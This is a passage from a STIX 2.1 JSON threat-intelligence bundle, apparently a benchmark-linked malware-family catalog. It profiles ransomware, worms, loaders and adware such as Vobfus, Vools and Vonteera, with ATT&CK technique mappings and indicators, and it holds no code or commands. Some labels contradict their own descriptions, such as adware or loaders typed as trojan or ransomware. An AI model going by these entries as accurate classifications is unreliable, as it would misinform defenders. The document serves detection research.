terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.vmjfbex4hpjj",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vmjfbex4Hpjj",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vmjfbex4hpjj"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fbf4d9c0-6e8e-5efb-8a9d-1cc400a8c42d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35b18acf-3ed3-51dc-b6a3-2140d1498668",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vmjfbex4Hpjj exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c20daba7-4b58-53be-b1c3-ad80446b29df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35b18acf-3ed3-51dc-b6a3-2140d1498668",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vmjfbex4Hpjj exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--69a62ddf-9a03-52f4-aa50-558aacb233e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35b18acf-3ed3-51dc-b6a3-2140d1498668",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vmjfbex4Hpjj exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39776c34-4310-5dd0-90a2-b91a2b442355",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35b18acf-3ed3-51dc-b6a3-2140d1498668",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vmjfbex4Hpjj exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8419b218-0fc3-573d-bd31-747c82c06ac9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vmpbad",
      "description": "Vmpbad (classified across antimalware research as Trojan:Win32/Vmpbad and Ransom:Win32/Vmpbad) is a heavily packed and armored trojan loader and crypto-ransomware family. Protected by commercial and custom VMProtect virtualization wrappers (hence the designation Vmpbad), it obfuscates code flow into virtual bytecode instructions to defeat reverse engineering and static signature detection. Upon execution, Vmpbad unpacks its in-memory payload, verifies absence of hypervisor debugging hooks, and executes an aggressive cryptographic locking routine targeting enterprise documents, databases, and system archives with AES-256 encryption. It appends custom extensions, leaves ransom notes in traversed directories, and purges Volume Shadow Copies. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Vmpbad",
        "Ransom:Win32/Vmpbad",
        "TrojanDownloader:Win32/Vmpbad",
        "Win32/Vmpbad",
        "Vmpbad Ransomware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vmpbad",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vmpbad"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4bb6d45f-7dda-50da-b156-01fe4e3cdfe7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8419b218-0fc3-573d-bd31-747c82c06ac9",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vmpbad exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (Virtualization))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42597633-6ee8-5193-b9f0-1023c8aee22a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8419b218-0fc3-573d-bd31-747c82c06ac9",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vmpbad exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2db04609-a1d3-5a05-9f06-ca2fe82bc494",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8419b218-0fc3-573d-bd31-747c82c06ac9",
      "target_ref": "attack-pattern--abf165c6-7223-5077-a3ea-1854fa56e62b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vmpbad exhibits technique T1620 (Reflective Code Loading)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2853823-809f-5fea-9df8-c16b6fb15199",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8419b218-0fc3-573d-bd31-747c82c06ac9",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vmpbad exhibits technique T1486 (Data Encrypted for Impact (Typical Payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5095b72e-79e7-57f5-80c4-8e853d2ca8b9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8419b218-0fc3-573d-bd31-747c82c06ac9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vmpbad exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--46ad3978-cb3a-55fd-9997-06d19e1f140b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vmprotbad",
      "description": "VMProtBad (cataloged across security vendors under detections including Trojan:Win32/VMProtBad, Trojan:Win32/VMProtect, and Win32/VMProtBad) is a heuristic threat signature identifying malicious Windows programs obfuscated, virtualized, and packed using the commercial VMProtect protection engine. While VMProtect is legitimately utilized by commercial software creators to safeguard intellectual property against reverse engineering and software piracy, cybercriminals heavily abuse the tool to shield trojans, information stealers, coin miners, and backdoors from static signature analysis and endpoint inspection. The packer transforms native x86/x64 assembly instructions into a proprietary virtualized bytecode instruction set executed by an embedded software interpreter, rendering conventional reverse engineering, string extraction, and decompilation ineffective. Malicious binaries detected under VMProtBad unpack their decrypted core modules directly into memory at runtime to initiate credential theft, host reconnaissance, and remote command-and-control beaconing. (Observed samples in benchmark: 87)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/VMProtBad",
        "Trojan:Win32/VMProtect",
        "Win32/VMProtBad"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vmprotbad",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vmprotbad"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32acc733-2c66-50bd-9d08-5a73d1933a91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46ad3978-cb3a-55fd-9997-06d19e1f140b",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vmprotbad exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a523e42-14d1-5912-85c9-637fb1c9e164",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46ad3978-cb3a-55fd-9997-06d19e1f140b",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vmprotbad exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5a49579-ae60-56a3-8d20-851c1e523d1b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46ad3978-cb3a-55fd-9997-06d19e1f140b",
      "target_ref": "attack-pattern--abf165c6-7223-5077-a3ea-1854fa56e62b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vmprotbad exhibits technique T1620 (Reflective Code Loading)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--48acbb4e-3e98-5b92-a5b6-6245c6d4ed8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46ad3978-cb3a-55fd-9997-06d19e1f140b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vmprotbad exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c5bd84f5-6d70-59bf-b50b-3e739f72ea37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46ad3978-cb3a-55fd-9997-06d19e1f140b",
      "target_ref": "attack-pattern--cc77f11e-b255-5f7b-94cd-4cc31b548a03",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vmprotbad exhibits technique T1129 (Shared Modules)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7a4b970b-1a90-531d-be04-be170d41a67f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vobfus",
      "description": "Vobfus (also documented across antimalware products as Win32/Vobfus, Worm:Win32/Vobfus, and WORM_VOBFUS) is a pervasive Windows worm and trojan loader developed in Visual Basic that emerged in 2012. Renowned for its symbiotic infection relationship with the Beebone (Changeup/AAEH) botnet, Vobfus and Beebone form a mutual downloading loop: Vobfus downloads Beebone, which in turn downloads updated, heavily obfuscated variants of Vobfus, thwarting conventional antivirus disinfection. Vobfus spreads rapidly by copying itself to connected removable USB flash drives and network shares, frequently weaponizing Windows Shell LNK shortcut flaws such as CVE-2010-2568 alongside autorun.inf files. Upon infecting an endpoint, Vobfus modifies the registry to hide operating system files and extension names, disables Windows Update and security services, and reaches out to remote C2 infrastructure via encrypted HTTP traffic to stage secondary payloads, including ransomware, banking trojans, and password stealers. The botnet was targeted in a major coordinated international law enforcement takedown by the FBI, Europol, and CISA. (Observed samples in benchmark: 1,484)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Win32/Vobfus",
        "Worm:Win32/Vobfus",
        "WORM_VOBFUS",
        "Beebone Worm",
        "Vobfus.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vobfus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vobfus"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d10e7ce-a63b-5e67-b6d1-6121e743ee1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7a4b970b-1a90-531d-be04-be170d41a67f",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vobfus exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e6a6107-a295-5128-885d-6be2076af125",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7a4b970b-1a90-531d-be04-be170d41a67f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vobfus exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02be90b8-a441-51f5-bd1b-4fa32091e45d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7a4b970b-1a90-531d-be04-be170d41a67f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vobfus exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fbc29d7d-f998-5b12-b397-a41cc9b0abcc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7a4b970b-1a90-531d-be04-be170d41a67f",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vobfus exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--875261b3-6c59-50d9-a77b-1a7131721dbb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7a4b970b-1a90-531d-be04-be170d41a67f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vobfus exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--abed645d-34d5-5db7-9c9d-4c49d2cacac1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Volt",
      "description": "Volt (cataloged across security intelligence feeds under signatures including Trojan:Win32/Volt, TrojanDownloader:Win32/Volt, and Trojan.Volt) is a versatile multi-stage Windows trojan loader and botnet implant active since 2016. Infiltrating endpoints primarily through drive-by downloads, exploit kit redirections, and weaponized torrent archives, Volt is designed to establish an initial persistent foothold and coordinate secondary malware operations. Once executed, Volt conducts host reconnaissance to collect operating system version data, CPU details, and installed security software. It installs persistence via the Windows Registry CurrentVersion\\Run key and initiates encrypted outbound HTTP/HTTPS beaconing to command-and-control servers. Cybercriminals use Volt as a loader framework to deploy secondary payloads, including modular credential stealers, cryptocurrency miners, and ransomware implants. (Observed samples in benchmark: 30)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Volt",
        "TrojanDownloader:Win32/Volt",
        "Trojan.Volt",
        "Win32/Volt",
        "Trojan:Win32/Volt.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Volt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/volt"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6bc6e40a-39e9-5d89-bc19-9f9c04e800a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vonteera",
      "description": "Adware:Win32/Vonteera is a highly aggressive and technically advanced adware family. While its ultimate goal is to hijack browsers and display unwanted advertisements, it distinguishes itself by employing severe **Defense Evasion** techniques. Specifically, Vonteera deliberately tampers with the Windows Certificate Store to invalidate the digital certificates of major security vendors, effectively blinding the system's antivirus software.<br><br><b>Understanding Vonteera</b><br>To an end-user, Vonteera manifests as severe browser hijacking, endless pop-ups, and a suddenly disabled or non-functioning antivirus program. For a security team, Vonteera represents a serious threat. By neutralizing security products, it leaves the endpoint completely vulnerable to any subsequent malware infections.<br><br><b>Execution and Certificate Tampering Mechanics</b><br>Vonteera is usually bundled with freeware or pirated software (`T1189`). Upon execution with administrative privileges (`T1204.002`), it establishes persistence via scheduled tasks. Its most critical action is interacting with the Windows Registry and the Cryptographic API. Vonteera actively adds the digital certificates used by major security vendors (e.g., Malwarebytes, Avast, AVG, Trend Micro) to the system's **Untrusted Certificates** store (`T1553.004`). By doing this, Windows will actively block any executables signed by these vendors from running, and it prevents the AV software from updating its definitions or communicating with its cloud infrastructure (`T1562.001`). Once the AV is crippled, Vonteera freely installs its browser extensions and BHOs to hijack web traffic (`T1176`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a completely compromised endpoint devoid of security monitoring. Host-based IoCs include EDR alerts (if still functioning) for unauthorized modifications to the `HKCU\\Software\\Microsoft\\SystemCertificates\\Disallowed` registry hive. The most obvious indicator is the sudden inability to launch or update legitimate security software. Network IoCs include high volumes of DNS queries resolving to known adware tracking infrastructure. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vonteera",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vonteera"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe32268b-ab31-5dc9-a4dc-8976a6b89215",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6bc6e40a-39e9-5d89-bc19-9f9c04e800a4",
      "target_ref": "attack-pattern--d9da9d1b-9b7d-5344-98e0-bdf1d57f0025",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vonteera exhibits technique T1553.004 (Subvert Trust Controls: Install Root Certificate (Adding AV certs to Untrusted store))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e2f9d62-35b7-5d22-b4e7-7cba1eef312a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6bc6e40a-39e9-5d89-bc19-9f9c04e800a4",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vonteera exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Crippling AV via cert revocation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30f4d574-e819-5817-af23-3ee1b104fe98",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6bc6e40a-39e9-5d89-bc19-9f9c04e800a4",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vonteera exhibits technique T1176 (Browser Extensions (Hijacking browser traffic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09ef3b47-3c29-5950-8148-b4e56021d887",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6bc6e40a-39e9-5d89-bc19-9f9c04e800a4",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vonteera exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9e65c100-d48f-5974-bbed-5a430ee0c468",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vools",
      "description": "Vools (classified across antimalware research as Ransom:Win32/Vools, Trojan-Ransom.Win32.Vools, and Win32/Vools) is a high-speed corporate crypto-ransomware family designed for rapid and disruptive enterprise extortion. Distributed via phishing emails with malicious document loaders and compromised external remote desktop endpoints, Vools initiates by terminating database and email services (such as MSSQL, MySQL, and Exchange) to prevent file-locking conflicts. The ransomware then executes an aggressive multi-threaded encryption routine across all connected fixed drives, removable media, and SMB network shares. Utilizing symmetric AES-256 encryption in CBC mode, Vools prepends custom identifier headers and appends .vools to encrypted files. It places ransom notes titled RESTORE_VOOLS_FILES.html across all processed directories, demanding Bitcoin payment for file restoration while executing commands to purge Volume Shadow Copies, wipe system state backups, and disable Windows Recovery Environment. (Observed samples in benchmark: 16)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Vools",
        "Trojan-Ransom.Win32.Vools",
        "Win32/Vools",
        "Vools Ransomware",
        "Ransom.Vools"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vools",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vools"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05bb8a85-52f6-5a90-b913-0e1f9fec3be8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9e65c100-d48f-5974-bbed-5a430ee0c468",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vools exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7007ab0b-2cf1-5caa-99db-4cf82b2795be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9e65c100-d48f-5974-bbed-5a430ee0c468",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vools exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--afef1b6d-e7db-5424-a34b-281f1b8fe686",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9e65c100-d48f-5974-bbed-5a430ee0c468",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vools exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49c63002-1f29-53d0-a39b-92fcabf23591",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9e65c100-d48f-5974-bbed-5a430ee0c468",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vools exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2edd2c81-ed44-5aa4-a232-b82abcb13a65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9e65c100-d48f-5974-bbed-5a430ee0c468",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vools exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7ed37ad0-2a91-5b16-b6dc-e6250608d94a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vopackage",
      "description": "Trojan:Win32/Vopackage is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Vopackage</b><br>To an end-user, a Vopackage infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Vopackage is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Vopackage is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Vopackage frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Vopackage reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vopackage",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vopackage"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9c7669e-fad2-5da1-9cb4-4f624dd29237",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7ed37ad0-2a91-5b16-b6dc-e6250608d94a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
